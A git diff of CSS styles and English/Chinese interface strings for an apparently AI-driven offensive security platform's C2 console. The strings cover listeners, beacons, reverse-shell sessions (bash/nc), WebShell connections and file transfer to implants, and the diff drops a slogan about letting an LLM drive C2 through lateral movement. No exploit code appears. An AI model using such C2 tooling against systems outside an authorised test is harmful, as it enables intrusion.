.c2-stat-item:nth-child(1) .c2-stat-value { color: var(--c2-accent); }
|
||||
.c2-stat-item:nth-child(2) .c2-stat-value { color: var(--c2-green); }
|
||||
.c2-stat-item:nth-child(3) .c2-stat-value { color: var(--c2-amber); }
|
||||
|
||||
.c2-stat-value {
|
||||
font-size: 36px;
|
||||
font-weight: 800;
|
||||
line-height: 1;
|
||||
letter-spacing: -1px;
|
||||
}
|
||||
|
||||
.c2-stat-label {
|
||||
font-size: 12px;
|
||||
color: var(--c2-text-dim);
|
||||
margin-top: 12px;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.3px;
|
||||
}
|
||||
|
||||
.c2-actions {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
justify-content: center;
|
||||
flex-wrap: wrap;
|
||||
max-width: 420px;
|
||||
margin-inline: auto;
|
||||
}
|
||||
|
||||
.c2-actions > button {
|
||||
flex: 1;
|
||||
min-width: min(100%, 160px);
|
||||
}
|
||||
/* ============================================================================
|
||||
Listener Cards
|
||||
============================================================================ */
|
||||
@@ -772,6 +666,66 @@
|
||||
border: 1px solid var(--c2-border);
|
||||
}
|
||||
|
||||
#c2-file-upload-btn.is-disabled,
|
||||
#c2-file-upload-btn:disabled {
|
||||
opacity: 0.5;
|
||||
cursor: not-allowed;
|
||||
color: var(--c2-text-dim, #94a3b8);
|
||||
border-color: var(--c2-border, #e2e8f0);
|
||||
}
|
||||
|
||||
.c2-file-upload-hint {
|
||||
font-size: 12px;
|
||||
color: #b45309;
|
||||
background: rgba(245, 158, 11, 0.08);
|
||||
border: 1px solid rgba(245, 158, 11, 0.25);
|
||||
border-radius: var(--c2-radius-xs, 4px);
|
||||
padding: 8px 12px;
|
||||
margin: -8px 0 12px;
|
||||
line-height: 1.5;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.c2-file-upload-hint[hidden] {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.c2-file-upload-progress {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
margin: -8px 0 12px;
|
||||
padding: 0 4px;
|
||||
}
|
||||
|
||||
.c2-file-upload-progress[hidden] {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.c2-file-upload-progress-track {
|
||||
flex: 1;
|
||||
height: 4px;
|
||||
background: var(--c2-border);
|
||||
border-radius: 2px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.c2-file-upload-progress-fill {
|
||||
height: 100%;
|
||||
width: 0;
|
||||
background: var(--c2-accent, #3b82f6);
|
||||
transition: width 0.2s ease;
|
||||
}
|
||||
|
||||
.c2-file-upload-progress-label {
|
||||
font-size: 11px;
|
||||
color: var(--c2-text-dim);
|
||||
white-space: nowrap;
|
||||
max-width: 220px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.c2-file-list {
|
||||
background: var(--c2-surface);
|
||||
border-radius: var(--c2-radius);
|
||||
@@ -1218,32 +1172,172 @@
|
||||
Task Detail Modal
|
||||
============================================================================ */
|
||||
|
||||
.c2-task-detail { line-height: 2; }
|
||||
.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; }
|
||||
.c2-modal.c2-modal--wide {
|
||||
max-width: 720px;
|
||||
}
|
||||
|
||||
.c2-task-modal-header {
|
||||
align-items: flex-start;
|
||||
}
|
||||
|
||||
.c2-task-modal-heading {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.c2-task-modal-heading h3 {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.c2-task-detail {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
.c2-task-detail-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(2, minmax(0, 1fr));
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.c2-task-kv {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
padding: 12px 14px;
|
||||
background: var(--c2-surface-alt);
|
||||
border: 1px solid var(--c2-border);
|
||||
border-radius: var(--c2-radius-sm);
|
||||
}
|
||||
|
||||
.c2-task-kv__label {
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.04em;
|
||||
text-transform: uppercase;
|
||||
color: var(--c2-text-muted);
|
||||
}
|
||||
|
||||
.c2-task-kv__value {
|
||||
font-size: 13px;
|
||||
font-weight: 500;
|
||||
color: var(--c2-text);
|
||||
word-break: break-all;
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.c2-task-kv__value--mono {
|
||||
font-family: var(--c2-mono);
|
||||
font-size: 12px;
|
||||
color: var(--c2-text-dim);
|
||||
}
|
||||
|
||||
.c2-task-kv__value--accent {
|
||||
font-family: var(--c2-mono);
|
||||
font-weight: 600;
|
||||
color: var(--c2-accent);
|
||||
}
|
||||
|
||||
.c2-task-timeline {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(3, minmax(0, 1fr));
|
||||
gap: 10px;
|
||||
padding: 14px 16px;
|
||||
background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
|
||||
border: 1px solid rgba(59, 130, 246, 0.14);
|
||||
border-radius: var(--c2-radius-sm);
|
||||
}
|
||||
|
||||
.c2-task-time-card {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.c2-task-time-card:not(:last-child) {
|
||||
padding-right: 10px;
|
||||
border-right: 1px solid rgba(59, 130, 246, 0.12);
|
||||
}
|
||||
|
||||
.c2-task-code-section,
|
||||
.c2-task-error-section {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.c2-task-code-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.c2-task-code-title {
|
||||
font-size: 12px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
text-transform: uppercase;
|
||||
color: var(--c2-text-dim);
|
||||
}
|
||||
|
||||
.c2-task-error {
|
||||
color: var(--c2-red);
|
||||
padding: 14px;
|
||||
padding: 14px 16px;
|
||||
background: var(--c2-red-dim);
|
||||
border: 1px solid rgba(239, 68, 68, 0.15);
|
||||
border-radius: var(--c2-radius-sm);
|
||||
margin-top: 12px;
|
||||
font-size: 13px;
|
||||
line-height: 1.55;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.c2-task-result pre {
|
||||
.c2-task-result-pre,
|
||||
.c2-task-command-pre {
|
||||
background: #0f172a;
|
||||
color: #e2e8f0;
|
||||
padding: 16px;
|
||||
padding: 14px 16px;
|
||||
border-radius: var(--c2-radius-sm);
|
||||
overflow-x: auto;
|
||||
font-family: var(--c2-mono);
|
||||
font-size: 12px;
|
||||
margin-top: 8px;
|
||||
max-height: 400px;
|
||||
margin: 0;
|
||||
max-height: 360px;
|
||||
overflow-y: auto;
|
||||
border: 1px solid #1e293b;
|
||||
line-height: 1.6;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.c2-task-command-pre {
|
||||
max-height: 140px;
|
||||
}
|
||||
|
||||
.c2-task-command-cell {
|
||||
max-width: 220px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
font-family: var(--c2-mono);
|
||||
font-size: 12px;
|
||||
color: var(--c2-text-muted, #64748b);
|
||||
}
|
||||
|
||||
.c2-task-item-compact .c2-task-command {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
font-family: var(--c2-mono);
|
||||
font-size: 11px;
|
||||
color: var(--c2-text-muted, #64748b);
|
||||
}
|
||||
|
||||
/* ============================================================================
|
||||
@@ -1277,6 +1371,11 @@
|
||||
Modal
|
||||
============================================================================ */
|
||||
|
||||
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
|
||||
#c2-toast-container {
|
||||
z-index: 10100 !important;
|
||||
}
|
||||
|
||||
.c2-modal-overlay {
|
||||
position: fixed;
|
||||
top: 0; left: 0; right: 0; bottom: 0;
|
||||
@@ -1327,26 +1426,7 @@
|
||||
color: var(--c2-text);
|
||||
}
|
||||
|
||||
.c2-modal-close {
|
||||
font-size: 18px;
|
||||
cursor: pointer;
|
||||
color: var(--c2-text-muted);
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
border-radius: var(--c2-radius-xs);
|
||||
transition: all 0.15s;
|
||||
}
|
||||
|
||||
.c2-modal-close:hover {
|
||||
background: var(--c2-surface-alt);
|
||||
color: var(--c2-text);
|
||||
}
|
||||
/* .c2-modal-close 样式见 style.css 统一关闭按钮 */
|
||||
|
||||
.c2-modal-body { padding: 24px 28px; }
|
||||
|
||||
@@ -1385,7 +1465,15 @@
|
||||
border-right: none;
|
||||
border-bottom: 1px solid var(--c2-border);
|
||||
}
|
||||
.c2-stats { flex-direction: column; gap: 12px; }
|
||||
.c2-payload-grid { grid-template-columns: 1fr; }
|
||||
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
|
||||
.c2-task-detail-grid { grid-template-columns: 1fr; }
|
||||
.c2-task-timeline { grid-template-columns: 1fr; }
|
||||
.c2-task-time-card:not(:last-child) {
|
||||
padding-right: 0;
|
||||
padding-bottom: 10px;
|
||||
border-right: none;
|
||||
border-bottom: 1px solid rgba(59, 130, 246, 0.12);
|
||||
}
|
||||
.c2-modal.c2-modal--wide { max-width: 100%; }
|
||||
}
|
||||
|
||||
+955
-183
File diff suppressed because it is too large
Load Diff
+57
-12
@@ -79,7 +79,6 @@
|
||||
"settings": "System settings",
|
||||
"hitl": "Human-in-the-loop",
|
||||
"c2": "C2",
|
||||
"c2Manage": "C2 management",
|
||||
"c2Listeners": "Listeners",
|
||||
"c2Sessions": "Sessions",
|
||||
"c2Tasks": "Tasks",
|
||||
@@ -98,8 +97,13 @@
|
||||
"clickToViewTasks": "Click to view tasks",
|
||||
"clickToViewVuln": "Click to view vulnerabilities",
|
||||
"clickToViewMCP": "Click to view MCP monitor",
|
||||
"accessOverviewTitle": "Access overview",
|
||||
"accessTabsAria": "C2 and WebShell",
|
||||
"c2OverviewTitle": "C2 overview",
|
||||
"c2GoManage": "Open C2 →",
|
||||
"webshellGoManage": "Open WebShell →",
|
||||
"webshellConnections": "Active connections",
|
||||
"webshellClickConnections": "View connections",
|
||||
"c2ListenersRunning": "Listeners running",
|
||||
"c2SessionsOnline": "Sessions online",
|
||||
"c2TasksPending": "Pending / queued tasks",
|
||||
@@ -153,7 +157,14 @@
|
||||
"lastUpdated": "Last updated",
|
||||
"viewAll": "View all →",
|
||||
"recentVulns": "Recent vulnerabilities",
|
||||
"recentFacts": "Recent facts",
|
||||
"noVulnYet": "No recent vulnerabilities",
|
||||
"noFactsYet": "No recent facts",
|
||||
"noFactsDesc": "In project-bound chats, the agent records targets, findings, and attack chains",
|
||||
"createFirstProjectBtn": "Create first project",
|
||||
"factProjectMeta": "{{project}} · {{key}}",
|
||||
"factsAcrossProjects_one": "{{count}} active project · {{facts}} facts",
|
||||
"factsAcrossProjects_other": "{{count}} active projects · {{facts}} facts",
|
||||
"capabilities": "Capabilities",
|
||||
"mcpTools": "MCP tools",
|
||||
"rolesLabel": "Roles",
|
||||
@@ -194,6 +205,7 @@
|
||||
"statusConfirmed": "Confirmed",
|
||||
"statusFixed": "Fixed",
|
||||
"statusFalsePositive": "False positive",
|
||||
"statusIgnored": "Ignored",
|
||||
"fixRate": "Fix rate",
|
||||
"dataStale": "Data may be stale — please refresh",
|
||||
"recommendedActions": "Recommended Actions",
|
||||
@@ -230,6 +242,13 @@
|
||||
"newProjectCta": "+ New project",
|
||||
"projectList": "Project list",
|
||||
"searchProjectsPlaceholder": "Search projects…",
|
||||
"paginationShow": "Show {{start}}-{{end}} of {{total}}",
|
||||
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||
"paginationTotal": "{{total}} total",
|
||||
"paginationPage": "{{page}}/{{total}}",
|
||||
"paginationPerPage": "Per page",
|
||||
"paginationPrev": "Previous",
|
||||
"paginationNext": "Next",
|
||||
"selectOrCreateTitle": "Select or create a project",
|
||||
"selectOrCreateHint": "Projects share a cross-chat fact board; target, environment, auth and other facts are auto-injected in bound conversations.",
|
||||
"createFirstProject": "Create first project",
|
||||
@@ -377,6 +396,7 @@
|
||||
"settingsIntroTitle": "Project settings",
|
||||
"settingsIntroHint": "Configure project metadata and Agent authorization boundary; takes effect immediately for bound conversations after saving.",
|
||||
"pinProject": "Pin project (show first in list)",
|
||||
"pinFact": "Pin fact (prioritize in list and blackboard index)",
|
||||
"editDescriptionPlaceholder": "Targets, authorization scope, contacts, notes…",
|
||||
"scopeTitle": "Test scope",
|
||||
"scopeHint": "JSON format for Agent authorization boundary and target assets",
|
||||
@@ -408,6 +428,13 @@
|
||||
"addGroup": "New group",
|
||||
"recentConversations": "Recent conversations",
|
||||
"batchManage": "Batch manage",
|
||||
"paginationShow": "Show {{start}}-{{end}} of {{total}}",
|
||||
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||
"paginationTotal": "{{total}} total",
|
||||
"paginationPage": "{{page}}/{{total}}",
|
||||
"paginationPerPage": "Per page",
|
||||
"paginationPrev": "Previous",
|
||||
"paginationNext": "Next",
|
||||
"attackChain": "Attack chain",
|
||||
"viewAttackChain": "View attack chain",
|
||||
"selectRole": "Select role",
|
||||
@@ -438,7 +465,7 @@
|
||||
"noHistoryConversations": "No conversation history yet",
|
||||
"renameGroupPrompt": "Please enter new name:",
|
||||
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
|
||||
"deleteConversationConfirm": "Are you sure you want to delete this conversation?",
|
||||
"deleteConversationConfirm": "Delete this conversation? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||
"renameFailed": "Rename failed",
|
||||
"downloadConversationFailed": "Failed to download conversation",
|
||||
"viewAttackChainSelectConv": "Please select a conversation to view attack chain",
|
||||
@@ -475,6 +502,8 @@
|
||||
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
|
||||
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
|
||||
"einoRunRetryTitle": "🔁 Transient error retry",
|
||||
"einoEmptyResponseContinueTitle": "🔁 Auto resume (no assistant text)",
|
||||
"einoEmptyResponseContinueMessage": "Session ended without captured assistant text; resuming from trace…",
|
||||
"einoRunRetryErrorDetail": "Error detail",
|
||||
"iterationLimitReachedTitle": "⛔ Iteration limit reached",
|
||||
"iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
|
||||
@@ -932,6 +961,9 @@
|
||||
"externalBadge": "External",
|
||||
"externalFrom": "External ({{name}})",
|
||||
"externalToolFrom": "External MCP - Source: {{name}}",
|
||||
"clickToViewTools": "Click to view tools from {{name}}",
|
||||
"filterBySource": "Source: {{name}}",
|
||||
"clearSourceFilter": "Clear source filter",
|
||||
"noDescription": "No description",
|
||||
"paginationInfo": "{{start}}-{{end}} of {{total}} tools",
|
||||
"perPage": "Per page:",
|
||||
@@ -1777,6 +1809,7 @@
|
||||
"statusConfirmed": "Confirmed",
|
||||
"statusFixed": "Fixed",
|
||||
"statusFalsePositive": "False positive",
|
||||
"statusIgnored": "Ignored",
|
||||
"searchVulnId": "Search vuln ID",
|
||||
"searchKeyword": "Search title, description, type, target…",
|
||||
"searchKeywordShort": "Keyword",
|
||||
@@ -2257,6 +2290,9 @@
|
||||
"descriptionPlaceholder": "Short description",
|
||||
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
|
||||
"packageFiles": "Package files",
|
||||
"packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
|
||||
"folderHint": "Folder (not editable)",
|
||||
"clickToEdit": "Click to edit this file",
|
||||
"editingFile": "Editing",
|
||||
"newFile": "New file",
|
||||
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
|
||||
@@ -2290,7 +2326,7 @@
|
||||
"selectAll": "Select all",
|
||||
"deleteSelected": "Delete selected",
|
||||
"confirmDeleteNone": "Please select at least one conversation to delete",
|
||||
"confirmDeleteN": "Delete {{count}} selected conversation(s)?",
|
||||
"confirmDeleteN": "Delete {{count}} selected conversation(s)? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||
"deleteFailed": "Delete failed",
|
||||
"unnamedConversation": "Unnamed conversation"
|
||||
},
|
||||
@@ -2436,6 +2472,7 @@
|
||||
"statusConfirmed": "Confirmed",
|
||||
"statusFixed": "Fixed",
|
||||
"statusFalsePositive": "False positive",
|
||||
"statusIgnored": "Ignored",
|
||||
"type": "Vulnerability type",
|
||||
"typePlaceholder": "e.g. SQL injection, XSS, CSRF",
|
||||
"target": "Target",
|
||||
@@ -2526,14 +2563,6 @@
|
||||
"checkboxLinkTitle": "Check to link this tool to this role"
|
||||
},
|
||||
"c2": {
|
||||
"title": "C2 Management",
|
||||
"welcomeTitle": "AI-Native C2 Framework",
|
||||
"welcomeDesc": "MCP-native design: let LLM call C2 like calling nmap to complete the full chain: initial access → control → tasks → lateral movement → cleanup",
|
||||
"statListeners": "Running Listeners",
|
||||
"statSessions": "Online Sessions",
|
||||
"statPending": "Pending Tasks",
|
||||
"goListeners": "Manage Listeners",
|
||||
"goSessions": "View Sessions",
|
||||
"clipboardCopied": "Copied to clipboard",
|
||||
"fmt": {
|
||||
"durationMs": "{{n}}ms",
|
||||
@@ -2543,6 +2572,15 @@
|
||||
"files": {
|
||||
"parent": "Parent",
|
||||
"refresh": "Refresh",
|
||||
"upload": "Upload",
|
||||
"uploading": "Uploading {{name}} · {{percent}}%",
|
||||
"uploadOk": "Uploaded",
|
||||
"uploadQueued": "Upload task queued",
|
||||
"uploadPendingApproval": "Upload task pending HITL approval",
|
||||
"uploadUnsupported": "Upload is not supported for this session",
|
||||
"uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
|
||||
"uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||
"uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||
"loading": "Loading…",
|
||||
"timeout": "Timed out loading files",
|
||||
"emptyDir": "Empty directory",
|
||||
@@ -2552,6 +2590,7 @@
|
||||
"colActions": "Actions",
|
||||
"open": "Open",
|
||||
"download": "Download",
|
||||
"downloadOk": "Downloaded",
|
||||
"failed": "Failed"
|
||||
},
|
||||
"listeners": {
|
||||
@@ -2668,7 +2707,7 @@
|
||||
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
||||
"toastExitSent": "Exit command sent",
|
||||
"toastSessionDeleted": "Session record deleted",
|
||||
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
|
||||
"terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
|
||||
"termStatusReady": "Ready",
|
||||
"termStatusExec": "Executing…",
|
||||
"termStatusErr": "Error",
|
||||
@@ -2677,6 +2716,9 @@
|
||||
"termWaitTimeout": "[Timed out waiting for result]",
|
||||
"termCleared": "Terminal cleared",
|
||||
"termNoSelection": "No text selected",
|
||||
"termWaitFinish": "Please wait for the current command to finish",
|
||||
"termCtrlC": "Remote interrupt is not supported in this version",
|
||||
"termQueued": "[Command queued — will run after the current task completes]",
|
||||
"clearTerminal": "Clear"
|
||||
},
|
||||
"tasks": {
|
||||
@@ -2703,6 +2745,7 @@
|
||||
"colTask": "Task",
|
||||
"colSession": "Session",
|
||||
"colType": "Type",
|
||||
"colCommand": "Command",
|
||||
"colStatus": "Status",
|
||||
"colDuration": "Duration",
|
||||
"colCreated": "Created",
|
||||
@@ -2713,6 +2756,8 @@
|
||||
"labelId": "ID",
|
||||
"labelSession": "Session",
|
||||
"labelType": "Type",
|
||||
"labelCommand": "Command",
|
||||
"labelPayload": "Payload",
|
||||
"labelStatus": "Status",
|
||||
"labelCreated": "Created",
|
||||
"labelSent": "Sent",
|
||||
|
||||
+56
-12
@@ -79,7 +79,6 @@
|
||||
"settings": "系统设置",
|
||||
"hitl": "人机协同",
|
||||
"c2": "C2",
|
||||
"c2Manage": "C2 管理",
|
||||
"c2Listeners": "监听器",
|
||||
"c2Sessions": "会话",
|
||||
"c2Tasks": "任务",
|
||||
@@ -98,8 +97,13 @@
|
||||
"clickToViewTasks": "点击查看任务管理",
|
||||
"clickToViewVuln": "点击查看漏洞管理",
|
||||
"clickToViewMCP": "点击查看 MCP 监控",
|
||||
"accessOverviewTitle": "接入概览",
|
||||
"accessTabsAria": "C2 与 WebShell",
|
||||
"c2OverviewTitle": "C2 概览",
|
||||
"c2GoManage": "进入 C2 →",
|
||||
"webshellGoManage": "进入 WebShell →",
|
||||
"webshellConnections": "活跃连接",
|
||||
"webshellClickConnections": "查看连接",
|
||||
"c2ListenersRunning": "运行中监听器",
|
||||
"c2SessionsOnline": "在线会话",
|
||||
"c2TasksPending": "待审 / 排队任务",
|
||||
@@ -153,7 +157,13 @@
|
||||
"lastUpdated": "上次更新",
|
||||
"viewAll": "查看全部 →",
|
||||
"recentVulns": "最近漏洞",
|
||||
"recentFacts": "近期事实",
|
||||
"noVulnYet": "暂无最近漏洞",
|
||||
"noFactsYet": "暂无近期事实",
|
||||
"noFactsDesc": "在绑定项目的对话中,Agent 会自动记录目标、漏洞、攻击链等事实",
|
||||
"createFirstProjectBtn": "创建第一个项目",
|
||||
"factProjectMeta": "{{project}} · {{key}}",
|
||||
"factsAcrossProjects": "{{count}} 个活跃项目 · {{facts}} 条事实",
|
||||
"capabilities": "能力总览",
|
||||
"mcpTools": "MCP 工具",
|
||||
"rolesLabel": "角色",
|
||||
@@ -188,6 +198,7 @@
|
||||
"statusConfirmed": "已确认",
|
||||
"statusFixed": "已修复",
|
||||
"statusFalsePositive": "误报",
|
||||
"statusIgnored": "已忽略",
|
||||
"fixRate": "修复率",
|
||||
"dataStale": "数据可能已过期,请手动刷新",
|
||||
"recommendedActions": "推荐操作",
|
||||
@@ -219,6 +230,13 @@
|
||||
"newProjectCta": "+ 新建项目",
|
||||
"projectList": "项目列表",
|
||||
"searchProjectsPlaceholder": "搜索项目…",
|
||||
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
|
||||
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||
"paginationTotal": "共 {{total}} 条",
|
||||
"paginationPage": "{{page}}/{{total}}",
|
||||
"paginationPerPage": "每页",
|
||||
"paginationPrev": "上一页",
|
||||
"paginationNext": "下一页",
|
||||
"selectOrCreateTitle": "选择或创建项目",
|
||||
"selectOrCreateHint": "项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。",
|
||||
"createFirstProject": "创建第一个项目",
|
||||
@@ -366,6 +384,7 @@
|
||||
"settingsIntroTitle": "项目设置",
|
||||
"settingsIntroHint": "配置项目元数据与 Agent 授权边界,保存后即时生效于绑定对话。",
|
||||
"pinProject": "置顶项目(列表优先显示)",
|
||||
"pinFact": "置顶事实(列表与黑板索引优先)",
|
||||
"editDescriptionPlaceholder": "测试目标、授权范围、联系人、注意事项…",
|
||||
"scopeTitle": "测试范围",
|
||||
"scopeHint": "JSON 格式,供 Agent 理解授权边界与目标资产",
|
||||
@@ -397,6 +416,13 @@
|
||||
"addGroup": "新建分组",
|
||||
"recentConversations": "最近对话",
|
||||
"batchManage": "批量管理",
|
||||
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
|
||||
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||
"paginationTotal": "共 {{total}} 条",
|
||||
"paginationPage": "{{page}}/{{total}}",
|
||||
"paginationPerPage": "每页",
|
||||
"paginationPrev": "上一页",
|
||||
"paginationNext": "下一页",
|
||||
"attackChain": "攻击链",
|
||||
"viewAttackChain": "查看攻击链",
|
||||
"selectRole": "选择角色",
|
||||
@@ -427,7 +453,7 @@
|
||||
"noHistoryConversations": "暂无历史对话",
|
||||
"renameGroupPrompt": "请输入新名称:",
|
||||
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
|
||||
"deleteConversationConfirm": "确定要删除此对话吗?",
|
||||
"deleteConversationConfirm": "确定要删除此对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||
"renameFailed": "重命名失败",
|
||||
"downloadConversationFailed": "下载对话失败",
|
||||
"viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
|
||||
@@ -464,6 +490,8 @@
|
||||
"einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}})",
|
||||
"einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。",
|
||||
"einoRunRetryTitle": "🔁 临时错误重试",
|
||||
"einoEmptyResponseContinueTitle": "🔁 自动续跑(无助手正文)",
|
||||
"einoEmptyResponseContinueMessage": "会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…",
|
||||
"einoRunRetryErrorDetail": "具体报错",
|
||||
"iterationLimitReachedTitle": "⛔ 达到迭代上限",
|
||||
"iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。",
|
||||
@@ -921,6 +949,9 @@
|
||||
"externalBadge": "外部",
|
||||
"externalFrom": "外部 ({{name}})",
|
||||
"externalToolFrom": "外部MCP工具 - 来源:{{name}}",
|
||||
"clickToViewTools": "点击查看 {{name}} 的工具",
|
||||
"filterBySource": "来源: {{name}}",
|
||||
"clearSourceFilter": "清除来源筛选",
|
||||
"noDescription": "无描述",
|
||||
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
|
||||
"perPage": "每页:",
|
||||
@@ -1766,6 +1797,7 @@
|
||||
"statusConfirmed": "已确认",
|
||||
"statusFixed": "已修复",
|
||||
"statusFalsePositive": "误报",
|
||||
"statusIgnored": "已忽略",
|
||||
"searchVulnId": "搜索漏洞 ID",
|
||||
"searchKeyword": "搜索标题、描述、类型、目标…",
|
||||
"searchKeywordShort": "关键词",
|
||||
@@ -2246,6 +2278,9 @@
|
||||
"descriptionPlaceholder": "Skill的简短描述",
|
||||
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
|
||||
"packageFiles": "包内文件",
|
||||
"packageFilesHint": "点击文件进行编辑;文件夹仅作分组展示,不可点击",
|
||||
"folderHint": "文件夹(不可编辑)",
|
||||
"clickToEdit": "点击编辑此文件",
|
||||
"editingFile": "正在编辑",
|
||||
"newFile": "新建文件",
|
||||
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
|
||||
@@ -2279,7 +2314,7 @@
|
||||
"selectAll": "全选",
|
||||
"deleteSelected": "删除所选",
|
||||
"confirmDeleteNone": "请先选择要删除的对话",
|
||||
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?",
|
||||
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||
"deleteFailed": "删除失败",
|
||||
"unnamedConversation": "未命名对话"
|
||||
},
|
||||
@@ -2425,6 +2460,7 @@
|
||||
"statusConfirmed": "已确认",
|
||||
"statusFixed": "已修复",
|
||||
"statusFalsePositive": "误报",
|
||||
"statusIgnored": "已忽略",
|
||||
"type": "漏洞类型",
|
||||
"typePlaceholder": "如:SQL注入、XSS、CSRF等",
|
||||
"target": "目标",
|
||||
@@ -2515,14 +2551,6 @@
|
||||
"checkboxLinkTitle": "勾选表示本角色关联使用该工具"
|
||||
},
|
||||
"c2": {
|
||||
"title": "C2 管理",
|
||||
"welcomeTitle": "AI-Native C2 框架",
|
||||
"welcomeDesc": "以 MCP 工具为一等公民,让 LLM 可以像调用 nmap 一样调用 C2 完成「上线 → 控制 → 任务 → 横向 → 清场」全流程",
|
||||
"statListeners": "运行中监听器",
|
||||
"statSessions": "在线会话",
|
||||
"statPending": "待审任务",
|
||||
"goListeners": "管理监听器",
|
||||
"goSessions": "查看会话",
|
||||
"clipboardCopied": "已复制到剪贴板",
|
||||
"fmt": {
|
||||
"durationMs": "{{n}}ms",
|
||||
@@ -2532,6 +2560,15 @@
|
||||
"files": {
|
||||
"parent": "上级目录",
|
||||
"refresh": "刷新",
|
||||
"upload": "上传",
|
||||
"uploading": "正在上传 {{name}} · {{percent}}%",
|
||||
"uploadOk": "上传成功",
|
||||
"uploadQueued": "上传任务已入队",
|
||||
"uploadPendingApproval": "上传任务待人机协同审批",
|
||||
"uploadUnsupported": "当前会话不支持上传",
|
||||
"uploadCurlBeacon": "Curl 轻量信标不支持文件上传,请使用 HTTP Beacon",
|
||||
"uploadTcpShell": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||
